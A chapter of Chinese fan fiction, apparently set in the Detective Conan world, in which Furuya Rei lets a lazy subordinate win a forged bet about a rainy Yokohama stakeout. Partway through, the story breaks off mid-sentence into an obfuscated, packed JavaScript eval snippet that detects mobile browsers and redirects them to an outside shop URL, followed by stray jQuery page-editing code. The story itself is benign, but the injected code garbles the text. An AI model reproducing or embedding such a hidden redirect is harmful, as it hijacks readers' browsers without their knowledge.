下午三点,雾岛葵慢吞吞地收拾着她的出勤必备套装:印着慵懒猫咪图案的保温杯,独立包装的小袋装坚果零食,便携颈枕以防需要长时间在车里等待,还有一把折叠伞,伞面上印着晴天娃娃求您别下雨的滑稽字样。
风见裕也已经等在办公区入口,手里拿着车钥匙和任务简报,表情是一贯的严肃。
“雾岛桑,我们该出发了。横滨港区路况这个时间可能开始拥堵。”
“来了来了。”雾岛葵把最后一块巧克力塞进外套口袋,拉上双肩包拉链。
就在她背着鼓鼓囊囊的包走向电梯时,办公区尽头那扇门开了。
降谷零走出来,手里拿着平板电脑。他穿着西装外套,看样子正准备外出开会或汇报工作。
“风见,任务细节再确认一遍。”他说,目光扫过两人。
风见立刻站直:“是!监视目标吉田俊介,地点横滨港区西侧三号码头附近,时间下午四点到七点,重点关注蓝色屋顶仓库周边……”
降谷零视线转向雾岛葵,“你,今天别在报告里写差不多得了。”
雾岛葵眨了眨眼,一脸无辜:“我会努力的,降谷先生。”
她语气里的敷衍成分大概有八成。
几秒钟的沉默后,雾岛葵忽然把手伸进外套口袋,摸了一会儿,掏出一个揉得皱巴巴的纸团。
她抓起降谷零的手,动作快得他都没反应过来把纸团塞进他手心。
“这个给您。”她说。
然后在风见的震惊中她转身就跑,双肩包在她背后一颠一颠的,脚步轻快得不像要去出任务,倒像是放学回家的小学生。
降谷零站在原地,低头看着手心里那个纸团。
纸团很小,大概是从便签本上撕下来的,揉得皱皱的,还带着点体温。
他皱了皱眉,用修长的手指慢慢展开纸团。
便签纸上写着:
【赌约:若吉田俊介于今日16:00-19:00出现在横滨港区目标地点,雾岛葵需连续一周提前一小时上班+完成额外任务。若未出现,降谷零批准雾岛葵明日带薪休假一天。立约人:降谷零】
字迹是雾岛葵的,他认得那种有点圆润,每个字都写得不太认真的字体。但最后签名栏那里,降谷零三个字也写在了上面,笔迹模仿得竟然有七八分像,如果不是知道不是自己签的,乍一看还真能以假乱真。
降谷零盯着那张便签,沉默了整整五秒。
然后他抬起头,看向电梯方向,雾岛葵已经不见了,电梯门刚刚关上。
他的嘴角抽了抽。
这算什么?单方面宣布赌约成立?还擅自替他签了名?
横滨港区,西侧仓库。
雨水细密的落在废弃仓库生锈的铁皮屋顶上,发出连绵的噪音,空气中弥漫着海水的咸腥和铁锈的气味。
在一个视野相对开阔,但绝对称不上舒适的隐蔽观察点里,风见裕也正全神贯注地调整着高倍望远镜的焦距,时不时对照手中的地图和资料,在笔记本上记录着什么。他浑身紧绷,雨水打湿了他的外套肩部也浑然不觉。
而他的搭档,雾岛葵,正缩在一个相对干燥的角落。
她身下垫着从装备室顺来的简易防潮垫,背靠着一个不知从哪里找来的旧纸箱,身上裹着件宽大的防水风衣,不是公安标配的战术款,而是她自己的,款式休闲,甚至还有个兜帽。此刻兜帽罩在头上,遮住了大半张脸。
她手里拿着观察用的便携望远镜,但镜筒的方向……有点偏低,与其说在观察目标仓库,不如说在观察仓库门口积水里泛起的涟漪。
“雾岛桑,”风见忍不住压低声音提醒,“目标区域是B-3到B-7仓库,特别是B-5的侧门。降谷先生指示要重点监控可能的人员进出和车辆异常。”
“嗯,在看呢。”雾岛葵的声音从兜帽下传来,闷闷的,带着点睡意。“B-5门口那滩水挺大的,估计有十厘米深吧。这种天气穿普通鞋进去肯定湿透,除非穿高筒雨靴或者……唔,开车直接冲到门口?但那边的集装箱摆放有点挡路。”
风见:“……我们不是来测量积水深度的!”他感到一阵无力,“重点是人员!接头人员!”
“知道知道。”雾岛葵稍微抬了抬望远镜,扫了一眼仓库区,“没看到人。除了十五分钟前有只流浪猫飞快地跑过去,目标是黑白花的,挺瘦,可能饿了。”
风见裕也觉得自己的血压在和雨声同步升高。他深吸一口气,决定不再指望这位新同事能提供什么有效观察,看来只能靠自己了,自己要加倍努力。
“雾岛桑。”风见忍不住提醒,“我们需要轮流观察,记录……”
“嗯嗯。”雾岛葵应了两声,动作却没变,“风见前辈你先看,你看累了换我。”
风见裕也噎住了。
但他想起降谷零的交代,“盯紧她,我要看她到底能离谱到什么程度。”他只好把话咽回去,继续自己的观察记录。
时间一分一秒过去。
时间在雨声中缓慢流逝。一个小时过去了,目标区域毫无动静。只有雨越下越大,天色愈发阴沉。
雾岛葵换了个更舒服的姿势,几乎半躺下来。她放下望远镜,从风衣口袋里摸出一小包独立包装的零食,悄悄撕开,小口小口地吃了起来。声音很轻,只有近在咫尺的风见能听到那细微的咔嚓声。
风见:“……”他在执行监视任务!他的同事在野餐!
“风见前辈,”雾岛葵忽然开口,嘴里还含着饼干,声音有些含糊,“你觉得,那个吉田俊介,今天真的会来吗?”
风见头也不回,努力集中精神:“线报显示他往这个方向来了,他有很高概率在此地进行非法交易或情报传递。我们必须做好他随时出现的准备。”
“哦。”雾岛葵咽下饼干,慢悠悠地说,“可是,下这么大雨哎。”
“下雨天更方便隐蔽行动!”风见强调。
“也对哦。”雾岛葵点点头,然后又摇了摇头,“不过,那是对于紧急的,重要的,不得不做的事情来说。像吉田桑这种……嗯,根据之前的调查,他涉嫌的只是帮他那个不太靠谱的姐夫转移一些来路不太正的二手电子设备,金额不算特别巨大,人也算不上多谨慎专业。上次跟踪他,发现他连反跟踪意识都很薄弱,咖啡洒了都会在便利店门口手忙脚乱擦半天。”
她顿了顿,望着外面连绵的雨幕,语气带着一种笃定:
“这种人,如果是约了今天看货或者交货,对方又不是什么非要今天见不可的大人物……下雨天,很大的可能会打个电话或者发个信息说雨太大改天吧,然后自己窝在家里看电视或者补觉。出门多麻烦啊,又要打伞,又会弄湿裤脚,停车也不方便,说不定还会感冒。反正不是什么急事,差不多得了,明天再说呗。”
她的逻辑自成一体,甚至带着一种洞悉人性懒惰面的透彻。尤其是最后那句随口而出的差不多得了,在此情此景下,竟莫名地有说服力。
风见裕也一时语塞。从理性判断上,他知道降谷先生的部署没错,线报必须重视,不要赌对方不来。但从
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17055222|194872||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
感性上,他竟然觉得雾岛葵说得好像有点道理?尤其是结合吉田俊介之前被观察到的那些普通甚至有点马虎的行为模式。
“即便如此,”风见坚持原则,“我们也必须坚守岗位,直到指令变更。”
“嗯,你说得对。”雾岛葵从善如流,又摸出一块饼干,“坚守岗位。所以风见前辈你继续紧盯,我负责……嗯,保持体力,随时策应。”她说完,把兜帽往下拉了拉,调整姿势,看样子准备小憩片刻。
风见裕也张了张嘴,最终把话咽了回去,只能更加苦大仇深地瞪向望远镜的目镜,仿佛想用目光把吉田俊介从可能正躺着的被窝里拽出来。
又过了约四十分钟。雨势稍歇,但天空依旧灰蒙蒙的。
降谷零将便签纸仔细抚平,夹进了文件夹里。然后他拿起内线电话,拨了一个号码。
“是我。”他说,“横滨港区的监视任务,实时画面接入我的终端。对,所有点位。”
挂断电话后,他打开监控系统。屏幕上分出了三个画面,风见裕也的视角,雾岛葵的视角,虽然她的摄像头大部分时间对着天花板或窗户,以及另一个小组的视角。
画面中,雨已经下得很大。横滨港区笼罩在灰蒙蒙的雨幕中,能见度很低。
降谷零看着雾岛葵那个画面,她正靠在仓库墙边,手里捧着保温杯,偶尔喝一口。记录本放在腿上,但似乎没怎么写。
他调出声音。
“……雨这么大,不会被你说中他真的不来了吧?”是风见的声音。
“回答正确。”雾岛葵回答得很干脆,“所以差不多可以收工了。”
“可是任务时间要到七点……”
“那就等到七点呗。”她的声音懒洋洋的,“反正雨声挺助眠的。”
降谷零关掉了音频。
他重新看向那张便签纸,手指在降谷零那个签名上轻轻点了点。
模仿得还真像。
晚上七点零三分。
降谷零的内线电话响了。他接起来。
“降谷先生,所有点位已收队,目标未出现。”风见裕也的声音传来,“我们现在准备返回。”
“辛苦了。”降谷零说,“路上注意安全。”
他挂断电话,看向窗外。东京也开始下雨了,淅淅沥沥的雨点打在窗户上,划出一道道水痕。
监控画面已经全部黑屏,各小组都已经撤离。
降谷零打开抽屉,重新拿出那张便签纸。
他拿起笔,在降谷零那个签名旁边,用自己真实的笔迹,又签了一次名。
两个降谷零并排而立,一个模仿得稚嫩却传神,一个锋利而端正。
然后他在便签纸背面写了一行小字:
【赌约成立。休假批准。但下次我要看到你真正的能力。——降谷零】
他把便签纸放回文件夹,合上。
回到公安大楼,稍作休整。
“你可以下班了。休假我批准了,记得,后天八点半,我要看到你坐在工位上。”
雾岛葵晕乎乎地走出办公室,这个男人好能忍。
风见裕也走过来,同情地看着她:“降谷先生……其实很少对人这么耐心,他通常直接退货的。”
“那我为什么不行?”
“黑田管理官亲自压下来的。”风见压低声音,“所以降谷先生现在的策略好像是……既然退不了,就把你改造成能用的人。”
改造?!雾岛葵感到绝望。
她只是想安静地当条咸鱼,为什么这么难!